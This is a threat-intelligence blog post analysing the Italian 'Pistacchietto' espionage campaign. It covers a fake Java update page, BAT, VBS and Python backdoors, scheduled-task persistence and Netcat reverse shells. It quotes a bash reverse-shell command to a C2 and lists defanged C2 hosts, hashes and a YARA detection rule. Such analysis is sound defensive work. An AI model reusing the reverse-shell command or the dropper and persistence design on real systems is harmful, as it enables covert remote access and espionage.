# Op. “Pistacchietto”: An Italian Job **[blog.yoroi.company/research/op-pistacchietto-an-italian-job](https://blog.yoroi.company/research/op-pistacchietto-an-italian-job/)** ZLAB-YOROI March 6, 2019 ## Introduction In the past weeks, a new strange campaign emerged in the Italian landscape. It has been baptized “Operation Pistacchietto” from a username extracted from a Github account used to serve some part of the malware. This campaign has been initially [studied by C.R.A.M.](https://www.tgsoft.it/italy/news_archivio.asp?id=987) researchers reporting the attacker seems to be Italian, as evidenced by some Italian words like “pistacchietto” or “bonifico” discovered into analyzed file names and scripts, and due to the location of most of the command and control servers. Figure 1. Servers’ location. After an initial recon, Cybaz-Yoroi ZLAB detected some peculiarities and interesting TTPs in place in this malicious operation, so we decided to dig further and analyze more samples related to this mysterious actor. ## Technical analysis The campaign is not very trivial and it is composed by several, specific, malwares, created to hit devices belonging to different platforms, both desktop and mobile. In the following sections, we analyze some of these malware, divided by targets’ architecture. ----- y p g, g p clicking on the link. Figure 2. Fake Java update page. Despite the page reports the filename “window-update.hta”, clicking on “Update” a file .bat will be downloaded. Hash a22ac932707e458c692ba72e5f4ddb3317817ac3a9a1ccbcccbdf720a9bd2cd4 Threat Unknown Descrip‐ tion BAT downloader ssdeep 192:/eIsseWdvqEB45kY7EBk2k0EBxbkdEBBmk/kgkWOQmxl1LXqiV/uvN:/wyB4WYw‐ BkRNBeKBBBsDWwFw Uploading this .bat file on VirusTotal emerges that it has a very low detection rate: only four anti-malwares were able to detect it. Figure 3. Detection rate of the initial BAT dropper. Inspecting the win.bat source code, at first glance, it seems to be written by a script kiddie or to be a first draft due the huge amount of comments. Moreover, the script is composed by two part: a first one includes a trick to ask user administrative privileges, the second one aims to download other components and to set persistence using the Windows Task Scheduler (schtasks). As shown in figure, the first part simply corresponds to a code snipped retrieved from [Github public repositories.](https://gist.github.com/lances101/44118a5ab320542f9591c5fa5b74ae02) ----- Figure 4. Comparison between the attacker’s code and the Github’s one. The second part, instead, checks the machine architecture and, depending on it, the malware downloads the right components, that are: A text file containing new actions to execute, from config01.homepc[.it/svc/wup.php? _pc=pdf_%computername%_ The NETCAT utility for Windows, from config01.homepc[.it/win/nc64.exe and _config01.homepc[.it/win/nc.exe_ The WGET utility for Windows, from config01.homepc[.it/win/wget.exe and _config01.homepc[.it/win/wget32.exe_ Other malicious artifacts, from: _config01.homepc[.it/win/get.vbs_ _config01.homepc[.it/win/sys.xml_ _config01.homepc[.it/win/syskill.xml_ _config01.homepc[.it/win/office_get.xml_ _config01.homepc[.it/win/woffice.exe_ _config01.homepc[.it/win/init.vbs_ _config01.homepc[.it/win/winsw.exe_ Figure 5. Part of BAT dropper’s code. From the snippet, a series of commented URL paths emerge, which is the proof that the malware is under maintenance yet. During the analysis days, indeed, the bat file and some other artifacts are constantly changed and updated, adding and removing code lines, changing variables names, but without changing the server URL or the general behavior. These modifications, even if related to attacker’s proofs or test cases, make the ----- hxxps://github[.com/pistacchietto/Win-Python-Backdoor/raw/master hxxp://verifiche.ddns[.net/{some_files} Inspecting the repository, we found some artifacts also hosted on the _config01.homepc[.it/win/ location, so probably the attacker used that platform during the_ development phase and config01.homepc.it as real server containing “production” malware. The URL verifiche.ddns[.net seems to be down at time of writing, it could be a server used in an old version of this malicious project or in a future one. After downloading all the components, the batch script implants most of them into _%windir% folder and one of them, the core of the malware, into C:\Program Files\Windows_ _Defender. Then, the script registers some automatic tasks through schtasks in order to_ start periodically the malicious artifacts. Figure 6. Instructions to schedule the backdoor execution. The following section reports a brief analysis of these malicious files. #### Sample “office_get.xml” Hash 1061e997486c793ab5561fd7df0c2eb36b9390a564101e7ae5cc8dbf9541f750 Threat Unknown De‐ scrip‐ tion XML Task Scheduler Config ssdeep 48:yei1q9dBQSRiylw9c9V9LTra+iaiudupRCRvA9ufAuRa7T5XHPsV8icvOyp+++:tdBd‐ RiyuwdiaigVA9ll7dHFFvOC+ It is a simple XML file in which is defined the configuration for a new scheduled task. In particular, the task created using this configuration file has the only purpose of execute, in periodic way, a VisualBasic script located in C:\WINDOWS\get.vbs. Figure 7. Command embedded into XML file. #### Sample “get.vbs” ----- Threat Unknown De‐ scrip‐ tion VBS script ssdeep 48:eTGvmB9tJWBVn/Bn6+pmcN+yEa/5noEW/hRbr94fIn9+0RYcSniTGFurRwx:eT‐ GO1Yr/V6gmDyPJoE0hxGfIn9D1ITlx The script downloads a shared file from Google Drive: https://drive.google [.com/uc? export=download&id=1nT2hQWW1tOM_yxPK5_nhIm8xBVETGXdF using a MSXML2.ServerXMLHTTP object. The file contains a list of servers URLs, as shown in figure: Figure 8. C2’s IP addresses. Two of them are IPv6 addresses: the usage of the new IP address standard is a rare feature in malware landscape. From the whois information related to these IPv6 addresses emerges that they are registered on the global ISP Hurricane Electric. This company also provides a free IPv6 Tunnel Broker service, able to act as a link between IPv4 and IPv6 protocols. There is no direct evidence of activity on that IPv6 addresses, however we think probably the attacker decided to masquerades its C2, which normally works over IPv4, behind the Hurricane’s IPv6 tunnel in order to make detection more difficult. During the check-in, the malware proceed to extract some PC information, like computer name and MAC address, which will be sent to the server using a path composed by: http://" & serverURL & "/svc/wup.php?pc=" & strComputerName & "_" & mac The server responds with an encoded message indicating new actions the malware should perform. However, the VBS script seems to check only the “exec” field, as shown in figure. Figure 9. Response from C2. If “exec” parameter is set to “1”, then the script extracts the value of “cmd” parameter, containing the new command to execute, and run it on Shell. All the other fields, at the moment, are not considered by the malware, indicating that it may be still under development. ----- Figure 10. If EXEC parameter is set, execute the specified command. After executing the received commands, the script opens connection towards malicious server using the Netcat tool previously downloaded, providing to the attacker an access to the victim’s shell. Figure 11. Command to establish remote connection towards C2. #### Samples “woffice.exe”, “woffice2.exe” and “NisSrv.exe” Hash 3eecd459aa454f7973048af310c7086ff4a74efd5a3aee9f909cca324a0e2013 Threat Unknown Descrip‐ tion EXE from woffice ssdeep 196608:eC0ma2TBEF4nfFzqgncRxhocAU/kfCf+51loM8XdFu/apXLl:eCI26dGnf‐ CW51ittnNLl The “woffice2.exe” and “NisSrv.exe” files are equal to “woffice.exe”, which is simply the compiled version of “woffice.py”, the Python source file hosted in the “Pistacchietto” repository. The Python code has the same behavior of the VBS bot previously analyzed, but it uses different C2 URLs, such as: Figure 12. Other C2’s IP embedded into “woffice.py” file . So, the attacker created different copies of the same malicious backdoor, and set them to run at the same time, probably as resilience technique. #### Samples “sys.xml” and “syskill.xml” Hash a9f5e4c294ce6fb3bbdc4cd1ce3b23136005ce1dd57b2e8d20ed2161eea9f62b Threat Unknown Descrip‐ tion XML Task Scheduler Config ssdeep 48:yei1q9dBQSJiydw9c9V9Lvara+iaiudupRCRvA9ufAuRa7T5XhPsV8iILG+++:tdBdJiy‐ GiGdiaigVA9ll7dhF2+ Hash 6d3e7adcf9626bbee6935c6e8ced13831ac419be19b9d13bc361bda402fbaca7 ----- tion ssdeep 48:yei1q9dtQSJiydw9c9V9Lvara+iaiudupRCRvA9ufAuRa7T5XhPsV8ioXy+++:tdtdJiyGi‐ GdiaigVA9ll7dhF0+ These files are two XML task scheduler configurations, which embed the following commands: Figure 13. Commands embedded into XML file. So, the first one starts a TCP connection every 1 minute using Netcat (“nc64.exe”), as previously shown, towards a new server “config02.addns[.org”. The second one, instead, kills all the active processes named “nc64.exe” every 5 minutes. ### Linux, OSX and Android Samples The attacker’s arsenal seems to be composed by weapons for different architectures: beyond Windows, there are some samples related to Linux, Mac and Android devices. In the Windows, Linux and Mac variant of the malware, the behavior is always the same: it implants the automatic execution of the Python backdoor previously shown. Hash 61aaf7b301ed9f574ec3e37428e0e9c62875ddf8a075897408d5b1eb612097cc Threat Unknown De‐ scrip‐ tion Office.py Linux backdoor ssdeep 96:Urlxr+CkrZcGbSRonYZm/ZCweAM2eiuVzZ9Q6CsW7XpyMZEg59y5E6AwKwA:U7+C krZcfnZgZEiuWEMZHs5E6+ In the following figure is shown the initial bash file used to set the schedule of the “woffice.py” backdoor, through the “crontab” and “systemctl” Linux commands. ----- Figure 14. Linux initial BASH dropper. Obviously, all the Windows commands executed into the Win version of the backdoor must be replaced by the Unix one. So, the command “bash -i >& /dev/tcp/ip/port 0>&1” takes the place of the instruction used to establish the Netcat reverse shell in Windows. Figure 15. Linux commands used to establish a connection with C2. The Mac backdoor is very similar to Linux one, another time the “woffice.py” is the core payload. Hash 008bab1cc06a8c9fcdbc0e539d7709de0d163acaf26d90c78c00e7c58fa29fc3 Threat Unknown Descrip‐ tion Office.py OSX backdoor ssdeep 96:qTXEPcRrdj9iGxGy8g/VEhhBpypDR9jxmCY3leO2pDR9jx5jYO74MkWI7G9xcst:q9‐ due/cfypO2z4M2Gl Figure 16. OSX backdoor’s setup file. Analyzing the repository emerges it is a copy of a OSX backdoor discussed in this blog post. Starting from this code, the attacker edited some modules to embed it in its own version of the backdoor. Moreover, the arsenal malicious arsenal counts also an Android RAT. It is a copy of the [popular “AhMyth Android Rat”, edited by the attacker to include its command and control](https://github.com/AhMyth/AhMyth-Android-RAT) server’s IP addresses. ----- Figure 17. Part of AhMyth RAT’s code modified by the attacker. ## Conclusions The “Pistacchietto” operation is more complex than we initially thought. Behind the lack of professional infrastructure, the “hiding in plain sight” strategy, the developer’s comments, the drafted malware code analyzed and the speculations about the possible amateur nature of this actor, we are in front of a long running espionage operation, active from years, and supporting at least four of the main computing platforms available nowadays, being able to infect Microsoft Windows hosts, Mac OSX systems, Linux servers and Android mobile devices. We are still not aware of the purposes of this campaign, which could be most likely personally motivated rather than financially or state sponsored, but despite its limited numbers it represent an important warning security communities, individuals and companies should not ignore. Offensive capabilities to run criminal espionage operations are getting even more accessible to personally motivated cyber actors, confirming the expansion of the cyber threat panorama both in terms of volume and variety observed by security firms, observatories and associations from a decade ago to nowadays. ----- (homemade) espionage operations: back in 2017 the initially homemade Occhionero s espionage campaign (CERT-Yoroi Early Warning [N010117) lapped Public Administrations,](https://blog.yoroi.company/warning/cyber-spionaggio-il-caso-eyepyramid/) notorious entrepreneurs and also the Italian Ex Prime Minister. ## Indicators of compromise C2: hxxp://config01.homepc[.it hxxp://verifiche.ddns[.net hxxps://github[.com/pistacchietto/Win-Python-Backdoor/raw/master hxxp://paner.altervista[.org hxxp://config02.addns[.org certificates.ddns[.net 52.26.124[.145 visionstore[.info [2001:470: 25:686::2] [2001:470: 1f0a:12af::2] Hashes 40e01c946618942c90851a09cb3e43c1e4d1e7d999ac97e9dab0f0a6222ca3ff (win.bat 20190225) a22ac932707e458c692ba72e5f4ddb3317817ac3a9a1ccbcccbdf720a9bd2cd4 (win.bat 20190226) d55331abdcedb96be387c70ddf8dd8d783cdf24be7e37e9913939f87e4a6b248 (win.bat 20190227) 1061e997486c793ab5561fd7df0c2eb36b9390a564101e7ae5cc8dbf9541f750 6edbf8b3f94d29be7c24676fbf2d1e4cdf00b1f7b9f31c2ce458d1e21b23af97 3eecd459aa454f7973048af310c7086ff4a74efd5a3aee9f909cca324a0e2013 a9f5e4c294ce6fb3bbdc4cd1ce3b23136005ce1dd57b2e8d20ed2161eea9f62b 6d3e7adcf9626bbee6935c6e8ced13831ac419be19b9d13bc361bda402fbaca7 18dec7d69a8eae1e78f8720ac3b6c8a5d1bb4c2f039a2d85bf77b01a82dc6912 b11243ac75e5c3e343615889dbe28e51b1795dc5628e0f12e03b7192ca61bc60 e1642bbe8a8ef616c97f34b835bc4f229f0e15c4619451e641462a44f476b46b 6ec51cb47c72c572c683c07d971c80b9a4fc60c65c4e1af1524fb8595a653e0d cea68f294d0a21f19d79b2c3eefa762c1c295076c37c6c5b644e84e9a45dd2d2 910e829f476fea4c406ebf760f4f8946448e236d110866f66c54257944d01906 489d24447898ac587dedd8b8c097bf33ea7a3c639a978910f582015f4a229d5e 688c5918872d45e1b375c3c65a453a8e891012fd9a4e35ceb1fa8cb24d2ffb68 95280d20abbea35b435402ad06484938edad733dc94ba6271aed3cc1bd9887cf c2455b94bc8c5a05ebddf7e1736ca5a2bcbc728da6e07fb51a507ce9866d0ae8 5b2f437bda3faa40073b441469694faae8f121b50b1fcfd6fdc0fa7288c082c9 4087e880e5b658ff1f917fef17d2fd95c4382cefbbc08baf860cabd749c65e50 505cedb52e044c7bdbd52ce7a392f78ccd7663ecfb07d23b314717dfacecf3f1 0f1e223eaf8b6d71f65960f8b9e14c98ba62e585334a6349bcd02216f4415868 097baea0616eaaab899f8d68e919bcaa66d77667a0f98b9ec643b7db980ec8d3 24b47abad994181eb1ab660ec91d5fe4facd018d406f4312d6bc804a31254739 5773e1821d336a1d72e72973319cc48f956ce4ff6888cd8734ee5a2c880fe484 ----- efbcf3682f1780ae0c567f8f5a747d1b04131f786047deee5c2be7b0ba2c2c67 32ff81be7818fa7140817fa0bc856975ae9fcb324a081d0e0560d7b5b87efb30 81fbea6c5eaa33ed02124afac06106626282f02daa0a2634f69afab1ce5f3fd4 2af025abe916003123a04f09c1d9804e2f9340b439e41ea47b542f4ba8be68ef 408344a29792bbd2bc1cf54dedfec7bc442251cc84ecfe0288f1d2d0c34f59a0 9c034a07c0857eee1bc1cc1e1859230656a385dbbaa471e666af7372f94c8d1e 6a72488747d12d129aacae76864b83de31f7c4ae357622e78fa43cf506d9c48e 4a416b55d3a250d52747bd8b87a3b791f2b7b8df45217de60c6e35ad0de84b12 04c6dfc497d175c8f755ee3d3722d33ee255ec8f2e6c2a9d1039345086bd6408 46daac1a8aa83a0de63b7f70ac2f4ede61cd82ceba51ce00b804b37fb429521a 2f2f0ea2f649ef120c111dfa020d333826d68d74cf1bed1fd3f1ef92e91a4413 3d3df7bb13a774d394a0c9e3f40a54cc9daa0705887363845eaf7f60218111cc e2e4d23525389c13126401215541f5625258da18372cb5c98d0b95123a86acfb be82341a12ea83d9efadc9ac35cf16d327f8499c99107dcde88dd0f5df84523c da15f169fff2f707ebffd2d1c78dc906ee9352c1d218ebe06d601c4b45382112 c697b8502254a8305c6e77161e41c655b622876a933758139c16377298fd3f31 498eec0b0cf5d945f77d4477e030f91f0e412631002f478622ef11ea0842eeba 5bfc98f79d79b98ca39f3571a660d98eccba788578a7e8a3950d65714b721b50 20a98a7e6e137bb1b9bd5ef6911a479cb8eac925b80d6db4e70b19f62a40cce2 6ac2ab4b6cc96a8f5e5ff08d825c7ac14504878061607530f58f7a1b02c0bfac 86c24972e3ef376dfef1ed144a32e9f549de6aabdc6aeadefb8125fccd5132c3 b6a2dd050339d3991442f460fdb48f76d8eaad5fa233a261970fb6d9c73f2925 e7693c69db0e1cc1c19f6c7df7711cc07512f2a53f1919639bf15f969e180c7a 3655c6bc776688fd54d6ec9de51c7eb2512ac8f987bcd807e14a4accc13e5f11 ee86f083fdb8d5e2f4d1d609faf964fa08a01875bc0abb364aeb09bb83c35f8c 04187ce5216fb1ef6ffe0fd2bcea6ae38ef055993b9d23f331d8c45e89510ade d11eff9047b71b82adce6089c3a845263846b124108b4b48220c3142393e89ad 22d1a234507a76fd72d9c1948666da992d5a24e16c5791c806dd8d2ea2d141f5 39316065605cbbccd9c9e7c9529ee2cd32d158ca7939888bfb811851ea6bef4c 61aaf7b301ed9f574ec3e37428e0e9c62875ddf8a075897408d5b1eb612097cc 008bab1cc06a8c9fcdbc0e539d7709de0d163acaf26d90c78c00e7c58fa29fc3 ## Yara rule ----- rule pistacchietto_campaign_0219 { meta: description = "Yara rule for Pistacchietto campaign" author = "Yoroi ZLab - Cybaze" last_updated = "2019-03-01" tlp = "white" category = "informational" strings: $nc = "nc.exe" wide ascii $nc64 = "nc64.exe" wide ascii $dns1 = "config02.addns.org" wide ascii $dns2 = "config01.homepc.it" wide ascii $dns3 = "verifiche.ddns.net" wide ascii $dns4 = "paner.altervista.org" wide ascii $dns5 = "certificates.ddns.net" wide ascii $id = "pistacchietto" wide ascii $path = "/svc/wup.php?pc=" wide ascii condition: (1 of ($nc*)) and (1 of ($dns*)) or $id or $path } _This blog post was authored by Antonio Farina and Luca Mella of Cybaze-Yoroi Z-LAB_ -----